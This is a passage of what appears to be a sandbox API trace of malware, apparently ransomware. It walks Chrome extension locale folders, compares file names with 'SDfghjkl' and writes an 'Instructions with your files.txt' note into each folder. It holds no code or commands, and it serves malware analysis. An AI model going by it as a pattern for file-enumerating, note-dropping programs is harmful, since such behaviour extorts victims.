[0130.196] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\..") returned 153
[0130.196] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.196] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json") returned 164
[0130.196] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.196] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.196] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\Instructions with your files.txt") returned 183
[0130.197] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.197] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.198] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.198] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.198] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.198] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.198] CloseHandle (hObject=0x134) returned 1
[0130.198] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.198] GetProcessHeap () returned 0x810000
[0130.198] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.198] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1
[0130.198] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned 150
[0130.198] GetProcessHeap () returned 0x810000
[0130.198] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.198] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*") returned 152
[0130.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.199] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\.") returned 152
[0130.199] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.199] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\..") returned 153
[0130.199] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.199] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json") returned 164
[0130.200] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.200] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.200] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\Instructions with your files.txt") returned 183
[0130.200] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.200] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.201] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.201] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.201] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.201] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.201] CloseHandle (hObject=0x134) returned 1
[0130.201] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.201] GetProcessHeap () returned 0x810000
[0130.201] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.201] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0130.201] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned 150
[0130.201] GetProcessHeap () returned 0x810000
[0130.201] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.202] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*") returned 152
[0130.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.202] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\.") returned 152
[0130.202] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.202] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\..") returned 153
[0130.202] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.202] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json") returned 164
[0130.202] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.202] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.202] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\Instructions with your files.txt") returned 183
[0130.202] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.203] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.204] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.204] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.204] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.204] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.204] CloseHandle (hObject=0x134) returned 1
[0130.204] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.204] GetProcessHeap () returned 0x810000
[0130.204] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.204] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0130.204] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned 150
[0130.204] GetProcessHeap () returned 0x810000
[0130.204] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.204] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*") returned 152
[0130.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.205] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\.") returned 152
[0130.205] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.205] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\..") returned 153
[0130.205] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.205] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json") returned 164
[0130.205] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.205] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.205] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\Instructions with your files.txt") returned 183
[0130.206] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.206] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.207] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.207] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.207] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
